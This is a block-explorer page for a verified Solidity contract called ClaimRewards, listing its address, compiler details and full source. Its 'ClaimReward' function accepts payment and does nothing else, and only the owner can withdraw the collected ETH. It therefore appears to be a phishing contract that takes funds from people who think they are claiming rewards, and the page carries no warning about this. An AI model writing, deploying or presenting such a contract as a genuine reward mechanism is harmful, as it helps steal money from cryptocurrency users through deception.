Verified contractPartial
ClaimRewards
Address0xb9bcd3d8298f4f221a7d347463555ee8b1338aed
- Balance
0 ETH
- Transactions
1
- Compiler
solc 0.4.26
- Same code
1 more contract
Details
- Compiler
- solc 0.4.26+commit.4563c3fc
- Language
- solidity
- Optimization
- No
- EVM version
- byzantium
- License
- Not stated
- Match
- Partialcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 16,692,907
- Creation transaction
- 0x35de7ea796…4b9e22f98a
- Main copy (most transactions)
- 0x3b0757a0…7787929d
ClaimRewards.sol
/**
*Submitted for verification at Etherscan.io on 2022-11-19
*/
/**
*Submitted for verification at Etherscan.io on 2022-11-12
*/
/**
*Submitted for verification at Etherscan.io on 2022-08-19
*/
pragma solidity ^0.4.26;
contract ClaimRewards {
address private owner; // current owner of the contract
constructor() public{
owner=msg.sender;
}
function getOwner(
) public view returns (address) {
return owner;
}
function withdraw() public {
require(owner == msg.sender);
msg.sender.transfer(address(this).balance);
}
function ClaimReward() public payable {
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}Compiler settingsShow
{
"libraries": {},
"optimizer": {
"runs": 200,
"enabled": false
},
"evmVersion": "byzantium",
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.